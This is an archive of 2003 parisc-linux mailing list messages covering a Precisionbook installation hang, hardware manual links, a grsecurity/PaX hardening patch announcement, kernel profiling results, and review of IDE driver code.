Xref: news.gmane.org gmane.linux.ports.parisc:18248

Hi PA,

I'm trying to install Debian on my (recently purchased) Precisionbook
(256MB RAM, 4 GB hard disk, Visualize-EG, basically a B160 as a laptop;
 no serial console possible due to missing adapter cable).

I using the net-install CD from EISEE
(palinux-2.4.20-pa32-20030322-netinst.iso). It boots up (identifies the
system correctly as a model 9000/778/B160L) and stops/hangs at the
following line (at least it passes the 'Branching to kernel entry point'
message):

[...]
LED display at f0190001 registered
Kernel command line: ramdisk_size=8192 root=/dev/ram console=tty0 sti=8/24
 sti_font=VGA8x16 TERM=linux palo_kernel=0/vmlinux
Console: colour dummy device 160x64

I waited for 30mins, but nothing else happened. Is there a known problem
with this particular kernel/ISO-image? Any hints what I can try out to
succeed installing/boot Linux on the machine?

Thanks, max



From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation problems on RDI Precisionbook
Date: Mon, 14 Apr 2003 18:45:42 +0100 (IST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304141843040.14551-100000@sal.ucc.ie>
References: <Pine.LNX.4.44.0304141801320.14551-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622384 24661 80.91.229.3 (22 Nov 2014 02:13:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 11:45:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 298AD4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 11:45:44 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3EHjh604455
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 18:45:43 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.44.0304141801320.14551-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18249

On Mon, 14 Apr 2003, M. Grabert wrote:

> Hi PA,
>
> I using the net-install CD from EISEE
> (palinux-2.4.20-pa32-20030322-netinst.iso). It boots up (identifies the
> system correctly as a model 9000/778/B160L) and stops/hangs at the
> following line (at least it passes the 'Branching to kernel entry point'
> message):
>
> [...]
> LED display at f0190001 registered
> Kernel command line: ramdisk_size=8192 root=/dev/ram console=tty0 sti=8/24
>  sti_font=VGA8x16 TERM=linux palo_kernel=0/vmlinux
> Console: colour dummy device 160x64

(this error occurs when the internal LCD monitor (1024x768) is used).

A work-around:

I'm using now an external monitor (1280x1024), and it seems to work now.
However I also want to be able to use the LCD screen of the laptop if
possible ...


Thanks, Max




From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Mon, 14 Apr 2003 20:51:23 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <3E9B032B.7060609@hrzpub.tu-darmstadt.de>
References: <200303302250.h2UMo6e30482@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622384 24664 80.91.229.3 (22 Nov 2014 02:13:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:04 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, "M. Grabert" <xam@cs.ucc.ie>,
	parisc-linux@lists.parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 12:51:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC5C24829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 12:51:32 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001222.dialin.heagmedianet.de [213.157.1.222])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h3EIosR2018864
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO);
	Mon, 14 Apr 2003 20:50:59 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <200303302250.h2UMo6e30482@opus.allegro.com>
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18250

Stan Sieler schrieb:

>Re:
>
>(Note: if anyone has a Tadpole/RDI PrecisionBook manual/documentation-set,
>I'd be real interested in asking them a couple of questions!)
>  
>
Are you looking still for the documentation?  Try this one: 
http://www.openpa.net/systems/pbook.html

Greets, Rdiger



From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RDI Tadpole Precisionbook and Linux/PA-RISC
Date: Mon, 14 Apr 2003 12:23:17 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200304141923.h3EJNH913954@opus.allegro.com>
References: <3E9B032B.7060609@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622384 24668 80.91.229.3 (22 Nov 2014 02:13:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:04 +0000 (UTC)
Cc: carlos@baldric.uwo.ca (Carlos O'Donell),
	willy@debian.org (Matthew Wilcox), xam@cs.ucc.ie (M. Grabert),
	parisc-linux@lists.parisc-linux.org
To: rscholz@hrzpub.tu-darmstadt.de (=?ISO-8859-1?Q?R=FCdiger_Scholz?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 13:23:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id D56734829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 13:23:30 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id h3EJNH913954;
	Mon, 14 Apr 2003 12:23:17 -0700
In-Reply-To: <3E9B032B.7060609@hrzpub.tu-darmstadt.de> from "=?ISO-8859-1?Q?R=FCdiger_Scholz?=" at Apr 14, 2003 08:51:23 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18251

Re:

> >(Note: if anyone has a Tadpole/RDI PrecisionBook manual/documentation-set,

> Are you looking still for the documentation?  Try this one: 
> http://www.openpa.net/systems/pbook.html

thanks...it has some great PDF files that I didn't find anywhere
else: the user guide (70+ pages) and a "hardware manual" (140+ pages).
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 199f on parisc (now it is ready to go :-)
Date: Mon, 14 Apr 2003 21:05:33 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20030414190533.GA6323__32507.3107182563$1416622385$gmane$org@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622385 24672 80.91.229.3 (22 Nov 2014 02:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org,
	netzwurm@debian.org, teq@nikita.ath.cx
To: grsecurity@grsecurity.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 13:48:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E9474829
	for <parisc-linux@parisc-linux.org>; Mon, 14 Apr 2003 13:48:32 -0600 (MDT)
Original-Received: from fwd09.sul.t-online.de 
	by mailout02.sul.t-online.com with smtp 
	id 1959HO-00051C-04; Mon, 14 Apr 2003 21:06:10 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[80.128.51.250]) by fmrl09.sul.t-online.com
	with esmtp id 1959H5-1NJHjUC; Mon, 14 Apr 2003 21:05:51 +0200
Original-Received: from nikita.ath.cx (localhost [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) with ESMTP id h3EJ5pkS006478;
	Mon, 14 Apr 2003 21:05:51 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) id h3EJ5Ysx006472;
	Mon, 14 Apr 2003 21:05:34 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18252

hi,

with the great help from the pageexec folks, we are now able to set up our debian
hppa parisc boxes with a very cool security patch!

grsecurity with PaX delivers the first working security hardened kernel
plus effective acl system with userland restrictions to parisc-linux.

currently, you will be able to find the parisc-only patch at:
http://nikita.ath.cx/users/pappy/grsec/199f_parisc_only_PaX/

the README shortly explains, what it is all about.

play with it, play with it, play with it, tell me what you think of it.

Brad, could you please try to merge the technical changes into your sources?
or would this be counterproductive, regarding the "difference" the parisc-linux kernel makes?
i know, that currently we are in split-brain mode regarding parisc-linux
kernel sources.  but i really hope, we get together at 2.5.* :-)

i can send the patch to you per mail also.

Dear Debian-Hppa developers,

http://pageexec.virtualave.net/docs/randmmap.txt and the other documents
require "full" ET_DYN support for elf binary executables in the system
plus some "minor" gcc patching to get the stuff going :-)

is it possible to "phase in" a secure debian-hppa distribution,
something like Debian Trusted already tries to achieve?
we could have a separate "security-oriented" gcc, library and binary packages there.

we need the following for random mmap and the advanced features to work:
(excerpt from pageexec et_dyn/README)
   Compilation has to be modified in order to produce position independent
   code (PIC) which in turn allows the linker to not emit so-called text
   relocations in the final ET_DYN ELF file.

this has to be done on as much as binaries and libraries.

i can do it on my own.  but i want it to be addressed in debian.
we can call up for a "debian-hppa-trusted" for example :-)

there is also work that needs to be done on the glibc on parisc to better support the PaX features.
more details if someone feels addressed and answers :-)


I now personally want to thank the PaX team for doing this brilliant, open, portable work in
creating a security solution for the platform independent linux kernel.
i appreciate working together with you and will definitely stay in
contact with you.

David: You can mention this in your article, if it is not yet finished and being printed ;-)


have a nice week,

see you,


Alex
-- 
"... an experienced, industrious, ambitious, and often quite often
picturesque liar."
                -- Mark Twain

pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <pappy@nikita.ath.cx>
          Key fingerprint =  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7F D6  05 E1 A8 0C


From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 199f on parisc (now it is ready to go :-)
Date: Mon, 14 Apr 2003 20:51:38 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030414195138.GW29166__7017.74212434447$1416622385$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030414190533.GA6323@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622385 24676 80.91.229.3 (22 Nov 2014 02:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org,
	netzwurm@debian.org, teq@nikita.ath.cx
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 13:51:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C58544829
	for <parisc-linux@parisc-linux.org>; Mon, 14 Apr 2003 13:51:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 1959zO-0007x2-JJ; Mon, 14 Apr 2003 20:51:38 +0100
Content-Disposition: inline
In-Reply-To: <20030414190533.GA6323@nikita.ath.cx>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18253

DO NOT cc the grsecurity mailing list when sending mail to
parisc-linux.org.  continue to do so and i will remove you from the list.

On Mon, Apr 14, 2003 at 09:05:33PM +0200, Alexander Gabert wrote:
> hi,
> 
> with the great help from the pageexec folks, we are now able to set up our debian
> hppa parisc boxes with a very cool security patch!

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] another profile (2.5.67-pa3)
Date: Tue, 15 Apr 2003 15:07:00 +0200
Organization: http://freemail.web.de/
Lines: 60
Approved: news@gmane.org
Message-ID: <200304151307.h3FD70q05547@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622385 24679 80.91.229.3 (22 Nov 2014 02:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 15 07:07:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailgate5.cinetic.de (mailgate5.cinetic.de [217.72.192.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3DC94829
	for <parisc-linux@parisc-linux.org>; Tue, 15 Apr 2003 07:07:07 -0600 (MDT)
Original-Received: from web.de (fmomail02.dlan.cinetic.de [172.20.1.46])
	by mailgate5.cinetic.de (8.11.6p2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id h3FD70q05547
	for parisc-linux@parisc-linux.org; Tue, 15 Apr 2003 15:07:00 +0200
Precedence: fm-user
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18254

Hi,      =20
      =20
I just did a profile of a gcc33 compiled 2.5.67-pa3. I sometimes had the i=
mpression,     =20
that especially shell scripts run very slow on parisc. What I did, was bui=
lding a howto     =20
package, where several keywords are searched with grep -v in all howtos. =20
     =20
user  :       0:01:11.25   0.4%  page in :        0     =20
nice  :       1:24:24.96  25.0%  page out:        0     =20
system:       4:02:17.73  71.8%  swap in :        0     =20
idle  :       0:09:00.58   2.7%  swap out:        0     =20
uptime:       5:37:28.50         context :  3593391     =20
     =20
procinfo also shows another problem with page counts, but more interesting=
 is, that the     =20
system (from a freshly booted system) needed lots of system time to build =
that package,     =20
and not so much nice time. The total build time was   =20
   =20
built howto in 17650 s   =20
compared to   =20
built howto in 23414 s  =20
with kernel 2.4.19  =20
 =20
The Kernel command line: profile=3D2 root=3D/dev/sda3 HOME=3D/ console=3DttyS0 TER=
M=3Dvt102 =20
Here is the profile:     =20
# readprofile -m /boot/System.map-2.5.67 | sort -nr -k3 | head -20        =
                    =20
478488 fisync                                   39874.0000     =20
358656 fdsync                                   17932.8000     =20
120353 fioneloop                                15044.1250     =20
 73159 flush=5Fuser=5Fdcache=5Frange=5Fasm              2032.1944     =20
 61150 flush=5Fuser=5Ficache=5Frange=5Fasm              1698.6111     =20
 57005 cpu=5Fidle                                 950.0833     =20
  7926 $lcfu=5Fdone                               660.5000     =20
  9494 $lctu=5Fdone                               593.3750     =20
  6359 $lctu=5Floop                               529.9167     =20
 38952 fprob                                    512.5263     =20
  2584 $lcfu=5Floop                               215.3333     =20
 31317 copy=5Fuser=5Fpage=5Fasm                       206.0329     =20
 18180 flush=5Fkernel=5Fdcache=5Fpage                 181.8000     =20
  9414 flush=5Fkernel=5Ficache=5Fpage                  94.1400     =20
   725 $lslen=5Fdone                               90.6250     =20
  1119 $lclu=5Fdone                                69.9375     =20
 24429 page=5Fremove=5Frmap                          57.0771     =20
   608 $lslen=5Floop                               50.6667     =20
  2091 memcpy                                    47.5227     =20
 19734 zap=5Fpte=5Frange                             37.6603     =20
     =20
The machine I used is a C240 with 1.5GiB Memory.=20
=20
Berthold=20
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F
UNICEF bittet um Spenden f=FCr die Kinder im Irak! Hier online an
UNICEF spenden: https://spenden.web.de/unicef/special/=3Fmc=3D021101



From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 15 Apr 2003 18:32:22 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <3E9BA3670000071C@ocpmta1.freegates.net>
References: <1050320386.25353.11.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622386 24684 80.91.229.3 (22 Nov 2014 02:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:06 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 15 10:32:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDCAC4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Apr 2003 10:32:25 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 195TM7-0008DX-00; Tue, 15 Apr 2003 18:32:23 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 15 Apr 2003 18:32:22 +0200
In-Reply-To: <1050320386.25353.11.camel@dhcp22.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18255

Alan,

I just start to have a look (very busy right now)

>On Llu, 2003-04-14 at 13:13, Joel Soete wrote:
>> +#if defined(__hppa__) && defined(CONFIG_SUPERIO)
>> +#include <asm/superio.h>
>> +#endif
>> +
>
>Please keep superio out of generic drivers
>
>
>>  	if (!using_inta)
>> +#if defined(__hppa__) && defined(CONFIG_SUPERIO)
>> +		hwif->irq = superio_get_ide_irq();	/* legacy mode */
>> +#else
>>  		hwif->irq = hwif->channel ? 15 : 14;	/* legacy mode */
>> +#endif
>>  	else if (!hwif->irq && hwif->mate && hwif->mate->irq)
>>  		hwif->irq = hwif->mate->irq;	/* share IRQ with mate */
>
>Ughh. Ok this needs tackling in a more general way. get_legacy_irq(0/1)
>perhaps. This isnt the only port we need to sort out.
>
>Ok suppose you added superio.h to include/asm-parisc/ide.h

That is already done :)

> and added
>ide_get_legacy(int n) [n=0/1] for interfaces.

And so I still have to add 
#if defined(CONFIG_SUPERIO)
#    define ide_get_legacy(x) superio_get_ide_irq()
#else
#    define ide_get_legacy(x) ... (still have to find what)
#endif

and so change in drivers/ide/pci/ns87415.c

    hwif->irq = ide_get_legacy();	/* legacy mode */

Well in fact I do not yet well understand (less experience :( ) how do you
foreseen to manage this stuff for other platform?

thanks in advance for your understand.

By the way, in drivers/char/serial.c, also related to 'superio', i noticed:

#ifdef CONFIG_SUPERIO
    superio_serial_init();
#endif

Here I don't see how could it be kept out of generic drivers. Any idea?

Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 15 Apr 2003 09:41:39 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20030415164139.GJ25257@tausq.org>
References: <1050320386.25353.11.camel@dhcp22.swansea.linux.org.uk> <3E9BA3670000071C@ocpmta1.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622386 24688 80.91.229.3 (22 Nov 2014 02:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:06 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
